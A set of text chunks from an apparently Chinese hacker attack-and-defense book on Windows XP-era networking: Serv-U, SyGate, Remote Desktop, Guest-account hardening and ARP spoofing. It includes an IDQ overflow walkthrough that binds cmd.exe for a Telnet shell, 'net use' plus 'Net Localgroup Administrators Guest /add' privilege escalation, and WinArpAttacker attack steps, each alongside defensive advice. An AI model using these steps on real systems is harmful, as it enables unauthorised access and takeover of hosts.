    {"text": "2.配置客户端 下面再来看看如何详细设置自己的Serv-U，具体的操作步骤如下。 步骤1：在“Serv-U管理控制台-用户”窗口中选择需详细设置的用户，如图3-78所示。 图 3-78 “Serv-U管理控制台-用户”窗口 步骤2：单击列表下方的【添加】按钮，即可弹出【用户属性】对话框，在其中根据需要进行相应地设置，如图3-79所示。"},
    {"text": "图 3-79 【用户属性】对话框 步骤3：单击群组列表下方的【添加】和【删除】按钮，分别可以为用户添加更多群组或将用户从选中的群组中删除，如图3-80所示。"},
    {"text": "该功能不适用于通过SSH2（Secure Shell）协议的SFTP（Secure File Transfer Protocol，安全文件传送协议）登录的用户，因为该协议无法定义将一般纯文本信息发送给用户的方式，如图3-81所示。"},
    {"text": "继承的传统应用规则为，在较低级别指定的规则（如用户级别）可以覆盖在较高级别（如服务器级别）指定的冲突或重复的规则，如图3-83所示。"},
    {"text": "图 3-84 “虚拟路径”选项页面 步骤8：Serv-U提供了高级选项用来定制它的使用方式以及将限制和定制设置应用于整个Serv-U内的用户、群组、域和服务器的方法。 Serv-U内的限制和设置分为5类：连接、密码、目录列表、数据传输和高级，如图3-85所示。 图 3-85 “限制和设置”选项页面 步骤9：Serv-U允许使用事件处理，执行各种由选定事件列表所触发的操作，如图3-86所示。 图 3-86 “事件”选项页面 至此，Serv-U的配置就全部完成了，如果有防火墙，对防火墙进行相应设置，允许Serv-U访问网络，开放相应端口（默认是21）就可以正常使用该账户了。"},
    {"text": "当在自己网站或在网站所在内网中进行管理维护操作时，不要使用域名作服务器地址，尽量使用网站计算机的内网IP地址来代替，以避免使用端口映射，便于提高速度。"},
    {"text": "未知 第1章 黑客攻击前的准备 重点提示 ♂探测操作系统 ♂探测网站信息 ♂探测搜索引擎 ♂网络监听与嗅探 ♂创建安全测试环境 ♂Virtual PC安全测试环境 ♂虚拟机网站平台 本章精粹： 本章主要介绍了黑客攻击前应做的准备工作，主要包括：探测操作系统、探测网站信息、探测搜索引擎、网络监听与嗅探等多个方面，有助于读者了解黑客如何运用相关工具进行探测、分析出被攻击主机的详细信息，以便预防黑客入侵。 黑客在进行攻击前往往会花很多时间和精力去做准备工作，比如搜集对方使用什么类型的操作系统、管理账号是否为空口令或者弱口令、系统是否存在某些严重的漏洞……做足了这些准备工作，攻击就会又多了几分胜算，越熟练的黑客花费在准备工作上的时间往往越多。信息搜索、筛选、分析……这是最枯燥却也是最重要的准备工作。 未知 第25招 用SyGate突破上网封锁 Sygate Office Network是局域网共享一至四个MODEM访问Inernet的软件，基于SyGate核心功能，主要为商业网络提供网络连接共享，支持Modem/ISDN/Cable Modem/ASDL、带宽分配、用户和组的管理、增强的记录分析及设置黑白名单控制用户访问Inernet。 1.配置SyGate服务器 在使用之前应对SyGate服务器进行相应配置，具体的操作步骤如下。 步骤1：在能够上网的计算机上安装SyGate的服务器端。运行SyGate安装程序之后，会弹出一个【安装设置】对话框，询问是选择服务器模式还是客户端模式，如图3-87所示。 图 3-87 【安装设置】对话框 注意 由于局域网中所有的电脑都要通过主机才能连接到Internet，所以这里要选择服务器模式并输入计算机名称。 步骤2：在完成软件的安装之后，SyGate会自动进行“网络诊断”并自动获取主机的IP地址、网关、DNS地址等网络信息，从而免去了普通用户自己设置的烦恼，如图3-88所示。 图 3-88 自动进行网络诊断 步骤3：在【SyGate网络诊断】对话框中单击【确定】按钮，即可弹出一个【指定NAT网关IP】对话框，如图3-89所示。如果自动生成的IP和局域网内其他电脑所使用IP不冲突，单击【是】按钮，即可指定NAT网关IP。 图 3-89 【指定NAT网关IP】对话框 提示 在其中显示了SyGate根据所生成的虚拟网卡而分配的一个用来模拟NAT网关的IP地址（默认网关IP地址是192.168.0.1，也可改为其他值，只要不发生冲突就行，但客户端上的设置也必须随之改动），如果该地址和局域网内的其他电脑所使用的IP地址不冲突，一般保持默认设置即可。 步骤4：由于上述操作只是设置了SyGate的虚拟网卡地址，并不会和真实的网卡设置产生冲突，因此完全不必担心网卡IP地址会被更改。 步骤5：SyGate安装完毕并重启系统之后，需要单击SyGate主窗口中的【开始】按钮，让SyGate的Internet连接共享功能激活，如图3-90所示。 图 3-90 SyGate主窗口 2.配置SyGate客户端 当服务器端设置完毕之后，就可以对客户端的电脑进行设置了，具体的操作步骤如下。 步骤1：在客户端计算机上右击“网上邻居”图标，从快捷菜单中选择【属性】选项，即可打开“网络连接”窗口。右击【本地连接】图标项，在快捷菜单中选择【属性】选项，即可打开【本地连接属性】对话框，如图3-91所示。 图 3-91 【Internet属性】对话框 步骤2：在其中选择【Internet协议（TCP/IP）】选项并单击【属性】按钮，即可打开【Internet协议（TCP/IP）属性】对话框。由于192.168.0.1已经分配给SyGate网关，因此，只要将客户端的IP地址设置为192.168.0.2～192.168.0.254之间的任何一个IP地址即可（不能和已有的IP地址冲突）。 如IP地址为192.168.0.2，子网掩码为255.255.255.0，则默认网关必须为SyGate网关的地址192.168.0.1，DNS服务器可以使用SyGate网关地址，也可以使用单位的DNS服务器地址，如图3-92所示。 图 3-92 设置SyGate网关地址 在进行上述设置并重启系统之后，SyGate的服务器端和客户端就会自动运行了。在客户端单击【拨号】按钮，自己的电脑就可以顺利地访问Internet了。由于SyGate基于NAT（网络地址转换），因此，对电子邮件和浏览器等都不需要进行任何特殊的设置。"},
    {"text": "未知 第26招 Windows XP远程桌面连接与协助 远程桌面采用了一种类似Telnet的技术，远程桌面连接组件是微软公司从Windows 2000 Server开始提供的，用户只需通过简单设置即可开启Windows XP、Windows 2003和Windows Vista系统下的远程桌面连接功能。 当某台计算机开启了远程桌面连接功能后，其他用户就可以在网络的另一端控制这台计算机了，可以在该计算机中安装软件、运行程序，所有的一切都好像是直接在该计算机上操作一样。 通过该功能网络管理员可以在家中安全的控制单位的服务器，而且由于该功能是系统内置的，所以比其他第三方远程控制工具使用更方便、更灵活。 1.Windows XP系统的远程桌面连接 远程桌面可让用户可靠地使用远程计算机上所有的应用程序、文件和网络资源，就如同用户本人就坐在远程计算机的面前一样，不仅如此，本地（办公室）运行的任何应用程序在用户使用远程桌面（家、会议室、途中）连接后仍会运行。 在Windows XP系统中保留了远程桌面连接功能，以实现专家远程控制，帮助用户解决计算机的问题。 如果需要实现远程桌面连接功能，可按如下操作进行设置。 步骤1：选择【开始】→【所有程序】→【控制面板】菜单项，即可打开“控制面板”窗口，如图3-93所示。 图 3-93 “控制面板”窗口 步骤2：双击“系统”图标，即可打开【系统属性】对话框，在“远程”选项卡中勾选“允许用户远程连接到此计算机”复选框（若想成功建立远程控制连接，则对方也应勾选此复选框）。 单击【选择远程用户】按钮，即可添加那些需要进行远程连接但还不在本地管理员安全组内的任何用户，如图3-94所示。 图 3-94 【系统属性】对话框 步骤3：选择【开始】→【所有程序】→【附件】→【远程桌面连接】菜单项，即可打开【远程桌面连接】对话框，如图3-95所示。"},
    {"text": "图 3-95 【远程桌面连接】对话框 图 3-96 设置远程桌面连接选项 步骤4：选择“常规”选项卡，在“登录设置”选项组的“计算机”文本框中输入要进行远程桌面连接的计算机名称；"},
    {"text": "图 3-97 “常规”选项卡 步骤5：在“显示”选项卡中可设置远程桌面显示的大小、颜色质量，如图3-98所示。 在“本地资源”选项卡中可设置远程计算机的声音及会话中使用的设备和资源，如图3-99所示。 在“体验”选项卡中可选择远程连接的速度（建议选择局域网＜10mbps或更高＞），如图3-100所示。 图 3-98 “显示”选项卡 图 3-99 “本地资源”选项卡 图 3-100 “体验”选项卡 步骤6：单击【连接（N）】按钮，即可进行远程桌面连接。"},
    {"text": "图 3-101 【登录到Windows】对话框 步骤7：单击【确定】按钮，即可登录到远程计算机桌面，此时用户在远程桌面上的操作与在本机上操作无任何差别，如图3-102所示。 在登录成功之后，就可以使用该远程桌面中的程序进行各项操作了。"},
    {"text": "图 3-102 成功登录到远程计算机桌面 图 3-103 打开远程计算机中的“我的电脑” 步骤8：需要断开远程桌面连接时，只需在本地计算机中单击远程桌面连接窗口上的【关闭】按钮，在弹出的提示信息框中单击【确定】按钮，如图3-104所示。 图 3-104 【断开连接终端服务会话】对话框 注意 登录远程计算机的用户必须设置密码，否则将不能正常使用远程桌面连接功能。 另外，进行远程桌面连接时远程计算机用户将不能登录，若登录则断开远程桌面连接。 2.Windows XP系统远程关机 Windows XP默认只有Administrators组的用户才能执行远程关闭计算机的操作。 一般情况下，访问其他计算机只有guest用户权限，此时要执行远程关闭计算机操作，就会出现拒绝访问的提示。 为此，用户需要修改被远程关闭的计算机中guest用户操作权限。"},
    {"text": "步骤1：在【运行】对话框中运行\"gpedit.msc\"命令，即可打开【组策略】窗口，展开“计算机配置”→“Windows设置”→“安全设置”→“本地策略”→“用户权利指派”结点，如图3-105所示。 图 3-105 “组策略”窗口 步骤2：双击右侧窗口中的“从远端系统强制关机”选项，在弹出的对话框中将guest用户添加到用户或组列表框中，如图3-106所示。 图 3-106 添加guest用户 步骤3：在本地计算机中打开“命令提示符”窗口，在其中输入“shutdown-s-m\\\\远程计算机名-t 30”命令，其中30为关闭延迟时间，如图3-107所示。"},
    {"text": "图 3-107 输入关机命令 步骤4：被关闭的计算机屏幕上将显示“系统关机”对话框，如图3-108所示。 被关闭的计算机操作员可输入\"shutdown-a\"命令中止关机任务。"},
    {"text": "远程协助的发起者通过MSN Messenger（或Windows Messenger）向Messenger中的联系人发出协助要求，在获得对方同意后，可进行远程协助，远程协助中被协助方计算机将暂时受协助方（在远程协助程序中被称为专家）的控制，专家可在被控计算机中进行系统维护、安装软件、处理计算机中的某些问题或向被协助者演示某些操作。 使用“远程协助”时还可以通过向邀请方发送电子邮件等方式进行，且通过“帮助和支持”窗口能够查看到邀请与被邀请的有关资料。 在使用“远程协助”进行远程控制时，必须由主控双方协同才能够进行，所以Windows XP专业版中又提供了“远程桌面连接”控制方式。 利用“远程桌面连接”功能，用户可在远离办公室的地方通过网络对计算机进行远程控制，即使主机处在无人状况，“远程桌面连接”仍然可顺利进行，远程用户可通过这种方式使用计算机中的数据、应用程序和网络资源，也可让同事访问到自己的计算机桌面，以便于进行协同工作。 使用“远程桌面连接”功能时，被控计算机用户不能使用自己的计算机，不能看到远程操作者所进行的操作过程，且远程控制者具有被控计算机的最高权限。"},
    {"text": "未知 第27招 远程管理主机 一个网络，无论是局域网还是网站往往都需要一台主机负责整个网络的管理，而主机的管理则需要一个专门负责的人进行维护。远程管理主机可以实现系统管理员对主机的远程控制，从而减少系统管理员的路途奔波，节省了时间，也提高了效率。 1.利用漏洞入侵主机 一般来说，任何一个计算机系统都会存在漏洞，而黑客的攻击也是基于漏洞开展的。计算机与网络连接后，就需要打开相应的端口，而每个服务都需要相应的端口，如FTP端口为21，HTTP端口为80等，每个服务都可能存在漏洞，黑客根据扫描到的端口信息，就可以入侵到目标主机系统中。 下面以扫描到的IDQ漏洞为例介绍黑客的入侵过程（IDQ漏洞可以使黑客得到Web目录有绝对路径，且还能使攻击者获得一个Shell, Shell是一种命令解释程序，它能给攻击者提供远程控制接口，从而控制服务器）。具体的操作方法如下。 步骤1：扫描目标主机存在IDQ漏洞后，使用Snake IIS溢出工具，在IP地址框中输入“127.0.0.1”，端口设定为80（这里看对方HTTP端口而定）。 步骤2：选择操作系统类型，这里要看服务器是中文的、英文的还是日文的，有没有打开SP补丁，一般选择第一项。 步骤3：选择cmd.exe绑定端口。这里可随便使用1～65535中一个没有被激活的端口。 步骤4：单击IDQ溢出，如果成功，即可发送shellcode到127.0.0.1:80。 步骤5：使用Telnet工具，在“命令提示符”窗口输入\"Telnet 127.0.0.1:813\"命令，即可进入对方系统（其中813为目标主机未激活端口）。 2.为漏洞主机打补丁 因为所有的计算机系统都存在漏洞，而且对一个固定的系统来说漏洞也还在不断地发现中。为了避免自己的计算机系统被黑客攻击，就需要及时为自己的系统打上漏洞补丁，特别是具有重大安全隐患的漏洞补丁。为系统打补丁的方法很多，最常用的有如下几种。 方法1：使用Windows系统更新功能。Windows系统具有自动更新功能，选择【开始】→【程序】→【Windows Update】菜单项，即可连接Microsoft公司的网站，如图3-109所示。 图 3-109 微软更新网站 方法2：开启Windows系统的自动更新功能。在“控制面板”窗口中双击“自动更新”图标，即可打开【自动更新】对话框，在其中选取“自动（建议）”单选项，如图3-110所示。Windows系统将自动下载补丁进行安装。 图 3-110 启用“自动更新”功能 方法3：使用专门工具。现在大多数杀毒软件和防火墙都提供系统漏洞扫描功能，可以下载相应的漏洞补丁进行安装。如在瑞星杀毒软件界面中选择“安检”选项卡，单击“扫描系统漏洞并升级补丁”超链接，即可对当前系统进行漏洞扫描并下载相应漏洞，如图3-111所示。 图 3-111 瑞星杀毒软件的漏洞扫描功能 3.建立隐藏式网站 所谓隐藏式网站就是能够隐藏网站目录，使访问者不能明显地看出网站文件在服务器中保存的位置，从而提高网站的安全性。下面以IIS网站为例介绍隐藏网站保存路径操作方法。 步骤1：通过【开始】→【设置】→【控制面板】→【管理工具】→【Internet信息服务】菜单项，即可打开“Internet信息服务”窗口。右击某一个网站，在快捷菜单中执行“资源管理器”选项，如图3-112所示。 图 3-112 “Internet信息服务”窗口 步骤2：在打开的网站文件夹中创建一个名称为\"new\"的文件夹，如图3-113所示。 图 3-113 创建文件夹 步骤3：在硬盘的其他位置创建一个名称为\"hack\"的文件夹，因为该文件夹将存放要隐藏的网站主页，所以隐藏的路径越深越好，如图3-114所示。 图 3-114 创建隐藏网站的文件夹 步骤4：在【Internet信息服务】窗口中右击\"new\"文件夹名称，在快捷菜单中选取“新建”→“虚拟目录”菜单项，即可弹出【虚拟目录创建向导】对话框。单击【下一步】按钮，在其中输入虚拟目录的“别名”，如图3-115所示。 图 3-115 输入虚拟目录别名 步骤5：单击【下一步】按钮，在显示的对话框中单击【浏览】按钮，指定\"hack\"目录路径，如图3-116所示。单击【下一步】按钮，选择该虚拟目录允许的权限选项，如图3-117所示单击【下一步】按钮，再单击【完成】按钮，即可结束虚拟目录的创建操作。 图 3-116 指定虚拟目录路径 图 3-117 选择允许权限 步骤6：在【Internet信息服务】窗口中找到新建的\"new\"文件夹之后，将其删除，即可完成网站存放路径的隐藏操作。 未知 第4章 欺骗与反欺骗 重点提示 ♂提防虚假的Guest账户 ♂防范假终端管理员 ♂拒绝恶意接入的网络执法官 ♂实现ARP欺骗攻击 ♂实现DNS欺骗攻击 ♂行行色色的网络欺骗 ♂用Privacy Defender清除痕迹 本章精粹： 本章将着重介绍网络欺骗攻击的各种方式和技术，并利用网络欺骗攻击获得网络中限制资源的方法与技巧，还介绍了黑客攻防中各种获取和保护账户密码的方法，有助于读者从中找到更加有效地防御黑客攻击的方法。 网络欺骗就是使入侵者相信信息系统存在有价值的、可利用的安全弱点，具有一些可攻击窃取的资源（当然这些资源是伪造的或不重要的），并将入侵者引向这些错误的资源；可显著地增加入侵者的工作量、入侵复杂度及不确定性，从而使入侵者不知道其进攻是否奏效或成功；且允许防护者跟踪入侵者的行为，在入侵之前修补系统可能存在的安全漏洞。"},
    {"text": "未知 第28招 提防虚假的Guest账户 在黑客入侵中，稍有经验的黑客们在入侵时可利用系统中存在的Guest账户设置不当的安全隐患，在被入侵主机系统中来去自如，如通过Guest账户克隆出无数的管理员账户。 1.改头换面的管理员账户 Administrator是系统默认的具有最高权限的管理员帐号，而Guest账户是系统默认的最低权限的账户，因此，很多系统管理员对Guest账户放松了管理，认为黑客即使得到了这类账户的权限，也不会对系统造成任何影响。这样就会使黑客有机可乘，利用Guest账户入侵系统。下面就来看看黑客是如何将Guest账户变成管理员账户的。 黑客首先利用扫描软件来侦测系统中的Guest账户是否具有可入侵性，其判断为该账户是否具有弱口令特征，如果有，该账户将非常容易被盗用。黑客往往会利用Guest账户登录被入侵系统，则会在自己的计算机中打开DOS命令窗口，在其中输入“Net use\\\\61.147.*.*（这个IP即为入侵地址）”命令。 在出现“密码或用户名在\\\\61.147.*.*无效”的提示之后，输入扫描得到的用户名和密码，即可看见“命令成功完成”的提示信息。这时黑客已成功利用Guest账户登录上被入侵的计算机主机系统，只要使用\"Net Localgroup Administrators Guest/add\"命令，即可完成账户的欺骗性“权限变更”操作。这样，一个简单的命令就可以将Guest变为Administrator了。 2.混迹管理员组的Guest账户 许多网络系统的管理员在黑客对其账户进行了欺骗式的操作之后，还蒙在鼓里，直到有一天资料被窃取才猛然发现自己被黑了。作为系统管理员，怎样才能及时地识破这一切呢？应先查看Guest账户中的“隶属组”，查看当前的账户是否非法存在于管理员组中即可。 具体的查看方法如下。 步骤1：选择【开始】→【设置】→【控制面板】选项，即可打开“控制面板”窗口，如图4-1所示。 图 4-1 【控制面板】窗口 步骤2：双击“管理工具”图标，即可打开“管理工具”窗口。再双击“计算机管理”图标，即可打开“计算机管理”窗口，如图4-2所示。 图 4-2 【计算机管理】窗口 步骤3：逐层单击依次展开【计算机管理】→【系统工具】→【本地用户和组】→【用户】选项，在右侧用户列表中可看到Guest账户名的存在，如图4-3所示。 图 4-3 Guest账户名 步骤4：右击Guest账户，在弹出菜单中选择【属性】选项，即可打开该账户的【属性】对话框，在“隶属于”选项卡中可以看到Guest账户隶属于两个组，分别是\"Administrator\"和\"Users\"，如图4-4所示。由此可见，Guest账户已经被黑客加入到管理员组中了。 图 4-4 Guest账户已加入管理员组 3.Guest账户安全管理 下面讲述作为系统管理员如何对Guest账户进行安全的管理，通常有如下3种方法。 （1）删除非法加入的组 删除非法加入的组的具体操作步骤如下。 步骤1：选中\"Administrator\"组并单击【删除】按钮，即可将Guest账户从\"Administrator\"组中删除，让Guest账户只隶属于“Guests组”，如图4-5所示。 图 4-5 将Guest账户从管理员组中删除 步骤2：切换到“常规”选项卡，在其中勾选“账号已停用”复选框，如图4-6所示。这样，黑客就无法使用Guest账户登录系统了。 图 4-6 “常规”选项卡 （2）禁止Guest账户登录本机 为了更保险地保护Guest账户的安全，还可使用组策略来进行管理。具体操作方法如下。 步骤1：在【运行】对话框的“打开”文本框中输入\"gpedit.msc\"命令，如图4-7所示。 图 4-7 【运行】对话框 步骤2：单击【确定】按钮，即可打开【组策略】窗口，依次展开【计算机配置】→【Windows设置】→【安全设置】→【本地策略】→【用户权利指派】选项，在右侧选项列表中选择“在本地登录”选项，如图4-8所示。 图 4-8 【组策略】窗口 步骤3：双击“在本地登录”选项，即可打开【在本地登录属性】窗口，如图4-9所示。在其中选择Guest账户，单击【删除】按钮，即完成了Guest账户不能登录本机的设置。 图 4-9 删除Guest账户名 （3）牢记Guest账户密码的设置规则 Guest账户的设置方法非常简单，但设置时要注意密码的提示既要让自己能够记牢也得让别人无从猜测。密码设置的原则是：不规律的密码组合+定期的密码更换。一个相对安全的密码应该具有的特征是无规律可循且便于记忆。正确的设置应该是既包含大小写字母，又包含数字和标点的字符串，而且还要便于记忆。混杂密码组合被破解的概率会变得非常低。注意密码不要让自己也无从记起，那样很容易造成密码遗忘，从而导致一些不必要的麻烦。"},
    {"text": "未知 第29招 防范假终端管理员 终端服务（Terminal Services）也叫WBT（Windows-based Terminal，基于Windows的终端），它集成在Windows.NET Server中，作为系统服务器服务组件存在。终端服务的工作原理是客户机和服务器通过TCP/IP协议和标准的局域网构架联系。通过客户端终端的客户机的鼠标、键盘的输入传递到终端服务器上，再把服务器上的显示传递回客户端。客户端不需要具有计算能力，最多只需要提供一定的缓存能力。众多的客户端可以同时登录到服务器上，仿佛同时在服务器上工作一样，它们之间作为不同的会话连接是互相独立的。 与终端服务器的连接很简单，例如可使用Windows XP自带的“远程桌面”程序与终端服务器进行连接，从而启动一个终端会话。具体的操作步骤如下。 步骤1：在【运行】对话框的“运行栏”中输入\"mstsc.exe\"命令，即可弹出“远程桌面连接”对话框，如图4-10所示。 图 4-10 【远程桌面连接】对话框 步骤2：单击【选项】按钮，将出现完整的远程桌面连接程序设置界面，如图4-11所示。 图 4-11 设置远程桌面连接选项 步骤3：选择“常规”选项卡，在“登录设置”选项组的“计算机”文本框中输入要进行远程桌面连接的计算机名称；在“用户名”文本框中输入登录使用的用户名；若用户要保存凭证，可勾选“允许我保存凭证”复选框，如图4-12所示。 图 4-12 “常规”选项卡 步骤4：在“显示”选项卡中可设置远程桌面显示的大小、颜色质量，如图4-13所示。在“体验”选项卡中可选择远程连接速度（建议局域网选择10mbps或更高），如图4-14所示。 图 4-13 “显示”选项卡 图 4-14 “体验”选项卡 步骤5：单击【连接（N）】按钮，稍等片刻就会连接到终端服务器上，这时终端服务器的登录界面将会出现在远程桌面连接程序中，在“用户名”文本框中输入登录用户的名称，在“密码”文本框中输入登录密码，如图4-15所示。 图 4-15 【登录到Windows】对话框 注意 登录远程计算机的用户必须设置密码，否则将不能正常使用远程桌面连接功能。另外，进行远程桌面连接时远程计算机用户将不能登录，若登录则断开远程桌面连接。 步骤6：单击【确定】按钮，即可登录到远程计算机桌面，此时用户在远程桌面上的操作与在本机上操作无任何差别，如图4-16所示。 图 4-16 成功登录到远程计算机桌面 小技巧 默认情况下，终端服务器在客户端的显示是全屏的，可以单击窗口标题栏右上角的最大化、最小化或关闭按钮对客户端的窗口进行操作。 步骤7：需要断开远程桌面连接时，只需在本地计算机中单击远程桌面连接窗口上的【关闭】按钮，在弹出提示信息框中单击【确定】按钮，如图4-17所示。 图 4-17 【断开连接终端服务会话】对话框"},
    {"text": "未知 第30招 拒绝恶意接入的网络执法官 “网络执法官”是一款局域网管理辅助软件，采用网络底层协议能穿透各客户端防火墙对网络中的每一台主机（这里的主机是指各种计算机、交换机等配有IP的网络设备）进行监控；"},
    {"text": "1.安装网络执法官 “网络执法官”主要功能是依据管理员为各主机限定的权限，实时监控整个局域网，并自动对非法用户进行管理，可将非法用户与网络中某些主机或整个网络隔离，而且无论局域网中的主机运行何种防火墙，都不能逃避监控，也不会引发防火墙警告，提高了网络安全性。"},
    {"text": "步骤1：下载并解压“网络执法官”文件夹，双击“网络执法官”安装程序图标，即可弹出【选择安装语言】对话框，在其中选择需要使用的语言，如图4-18所示。 图 4-18 【选择安装语言】对话框 步骤2：在选择好要使用的语言后，单击【确定】按钮，即可打开【欢迎使用Netrobocop v3.39安装向导】对话框，如图4-19所示。 图 4-19 【欢迎使用Netrobocop v3.39安装向导】对话框 步骤3：单击【下一步】按钮，即可打开【选择目标位置】对话框，在其中选择程序安装位置，如图4-20所示。 选择\"Netrobocop v3.39\"安装目标位置，单击【下一步】按钮，即可打开【开始菜单文件夹】对话框，在其中选择放置程序快捷方式位置，如图4-21所示。 图 4-20 【选择目标位置】对话框 图 4-21 【开始菜单文件夹】对话框 步骤4：单击【下一步】按钮，即可打开【选择附加任务】对话框，选择安装\"Netrobocop v3.39\"时要执行的附加任务，如图4-22所示。 图 4-22 【选择附加任务】对话框 步骤5：继续单击【下一步】按钮，即可进入【准备安装】对话框，将开始准备安装程序，如图4-23所示。 单击【安装】按钮，开始安装并显示安装进度。 图 4-23 【准备安装】对话框 步骤6：单击【下一步】按钮，即可弹出【Netrobocop v3.39安装向导完成】对话框。 单击【完成】按钮，即可完成安装，如图4-24所示。 图 4-24 【Netrobocop v3.39安装向导完成】对话框 步骤7：在安装完成后，“网络执法官”会在桌面自动生成快捷方式。"},
    {"text": "双击\"Netrobocop\"快捷方式图标，即可弹出【设置扫描范围】对话框，在其中指定监测的硬件对象和网段范围，如图4-25所示。 图 4-25 【设置扫描范围】对话框 步骤8：在设置好要扫描的范围之后，单击【添加/修改】按钮，再单击【确定】按钮，即可进入“网络执法官”操作窗口，其中显示了在同一个局域网下的所有用户，可查看其状态、流量、IP地址、是否锁定、最后上线时间、下线时间、网卡注释等信息，如图4-26所示。 图 4-26 “网络执法官”操作窗口 “网卡MAC地址”是网卡的物理地址，也称硬件地址或链路地址，是网卡自身的唯一标识，一般不能随意改变。"},
    {"text": "步骤1：在“网络执法官”操作窗口中双击“用户列表”中需要查看的对象，即可打开【用户属性】对话框，在其中查看用户的网卡地址、IP地址、上线情况等，如图4-27所示。 图 4-27 【用户属性】对话框 步骤2：还可以通过单击【历史记录】按钮，即可打开【在线记录】对话框，在其中查看该计算机上线的情况，如图4-28所示。 图 4-28 【在线记录】对话框 3.批量保存目标主机信息 除收集局域网内各个计算机的信息之外，“网络执法官”还可以对局域网中的主机信息进行批量保存。"},
    {"text": "步骤1：在“网络执法官”操作窗口中选择“记录查询”选项卡，在“IP地址段”中输入“起始IP地址”和“结束IP地址”，单击【查找】按钮，即可开始收集局域网中计算机的信息，如图4-29所示。"},
    {"text": "设置“关键主机组”的具体操作方法如下。 步骤1：选择【设置】→【关键主机组】菜单项，或在【锁定/解锁】对话框中单击【设置】按钮，均可打开【关键主机组设置】对话框，如图4-31所示。 图 4-31 【关键主机组设置】对话框 步骤2：在“选择关键主机组”下拉列表框中选择关键主机组的名称。 步骤3：在设定“组内IP”之后，单击【全部保存】按钮，将关键主机的修改生效并进行保存。"},
    {"text": "设置用户权限的具体操作如下。 步骤1：单击【用户属性】对话框中的【设置权限】按钮，即可打开【用户权限设置】对话框，在其中对用户权限类型进行相应设置，如图4-32所示。 图 4-32 【用户权限设置】对话框 步骤2：选择“受限用户，若违反以下权限将被管理”单选项之后，如果需要对IP进行限制，则可勾选“启用IP限制”复选框，并单击【禁用以下IP段：未设定】按钮，即可在弹出的IP限制对话框中对IP进行设置，如图4-33所示。 图 4-33 【IP限制】对话框 步骤3：选择“禁止用户，发现该用户上线即管理”单选项，即可在“管理方式”复选项中设置管理方式。"},
    {"text": "当目标计算机连入局域网时，“网络执法官”即按照设定的项对该计算机进行管理，如图4-34所示。 图 4-34 设置管理方式 步骤4：在“网络执法官”操作窗口中右击“用户列表”的任意一个对象，在快捷菜单中选择“权限设置”选项，即可单独配置该用户的权限，如图4-35所示。 图 4-35 从“用户列表”中设置用户权限 6.禁止目标计算机访问网络 禁止目标计算机访问网络是“网络执法官”的重要功能，具体的禁止方法如下。 步骤1：在“网络执法官”操作窗口中，右击“用户列表”中的任意一个对象，在弹出的快捷菜单中选择“锁定/解锁”选项，即可弹出【锁定/解锁】对话框，如图4-36所示。 图 4-36 【锁定/解锁】对话框 步骤2：选中锁定方式为“禁止与所有主机的TCP/IP连接（除敏感主机外）”单选项，单击【确定】按钮，即可实现禁止目标计算机访问网络这项功能。 7.拒绝“网络执法官”的恶意接入 目前，拒绝“网络执法官”的恶意接入主要还以防范为主，可通过修改自己网卡的MAC地址来改变IP到MAC的映射，从而使得网络执法官的ARP欺骗失效，进而摆脱“网络执法官”的破坏。"},
    {"text": "步骤1：打开【运行】对话框在“打开”文本框中输入\"regedit\"，单击【确定】按钮，如图4-37所示。 图 4-37 【运行】对话框 步骤2：在【注册表编辑器】窗口中展开HKEY_LOCAL_MACHINE\\SYSTEM\\Current ControlSet\\Control\\Class\\子项，如图4-38所示。 图 4-38 展开注册表编辑器 步骤3：在注册表编辑器右窗口找到说明为“网卡”的目录，比如36FC9E60-C465-11 CF-8056-444553540000。 在其下0000，0001，0002……分支中找到\"DriverDesc\"键值，如\"DriverDesc\"值为\"Intel(R)82559 Fast Ethernet LAN on Motherboard\"，即为网卡说明。"},
    {"text": "未知 第31招 实现ARP欺骗与防御 ARP（Address Resolution Protocol，地址解析协议）是一个位于TCP/IP协议栈中的低层协议，主要负责将某个IP地址解析成相对应的MAC地址。"},
    {"text": "步骤1：将WinArpAttacker压缩包解压后，先安装WinPcap再双击WinArpAttacker.exe程序，即可进入其主界面，如图4-39所示。 图 4-39 WinArpAttacker操作界面 步骤2：单击工具栏上的【扫描】按钮，即可扫描出局域网中的所有主机。"},
    {"text": "若选择【扫描】→【高级】选项，则可设置扫描范围，如图4-40所示。 图 4-40 设置扫描范围 步骤3：单击工具栏上的【设置】按钮，即可打开【Options】对话框，如图4-41所示。"},
    {"text": "图 4-42 设置攻击选项 图 4-43 设置更新选项 图 4-44 设置检测频率 步骤5：在“分析”标签卡中可指定保存ARP数据包文件的名称与路径，如图4-45所示。"},
    {"text": "在“保护”标签卡中可启用本地和远程防欺骗保护功能，避免自己的主机受到ARP欺骗攻击，如图4-47所示。 图 4-45 设置文件名称与保存路径 图 4-46 启用代理ARP功能 图 4-47 使用防护功能 步骤6：在选取需要攻击的主机之后，单击【攻击】按钮右侧下拉按钮，在其中选择攻击方式，如图4-48所示。"},
    {"text": "提示 ArpSQ是该机器的发送ARP请求包的个数； ArpSP是该机器的发送回应包个数； ArpRQ是该机器的接收请求包个数； ArpRP是该机器的接收回应包个数。"},
    {"text": "因为网络监听只能监听到本网段内的传输信息，所以可以采用网络分段技术，建立安全的网络拓扑结构，将一个大的网络分成若干个小的网络，如将一个部门、一个办公室等可以相互信任的主机放在一个物理网段上，网段之间再通过网桥、交换机或路由器相连，实现相互隔离。"},
    {"text": "这样，即使某个网段被监听了，网络中其他网段还是安全的。 因为数据包只能在该子网的网段内被截获，网络中剩余的部分（不在同一网段的部分）则被保护了。"},
    {"text": "3.金山ARP防火墙的使用 金山ARP防火墙能够双向拦截ARP欺骗攻击包，监测锁定攻击源，时刻保护局域网内计算机的正常上网数据流向，是一款适合于个人用户的反ARP欺骗保护工具。"},
    {"text": "安装完毕后，双击桌面上的“金山ARP防火墙”图标，即可进入其操作界面，如图4-49所示。 图 4-49 “金山ARP防火墙”主界面 步骤2：在“综合设置”标签卡中可设置防火墙的一般选项和ARP安全选项，如图4-50所示。"},
    {"text": "图 4-50 “综合设置”标签卡 图 4-51 基本选项设置 步骤3：单击“ARP安全设置”选项区的【修改设置】按钮，在其中设置有关ARP攻击拦截等选项，如图4-52所示。"},
    {"text": "在“监控状态”标签中可看到监控时拦截到的有关信息，如图4-53所示。 图 4-52 设置ARP选项设置 图 4-53 监控信息 步骤4：在“监控日志”标签中可查看到拦截的日志记录，如图4-54所示。"},
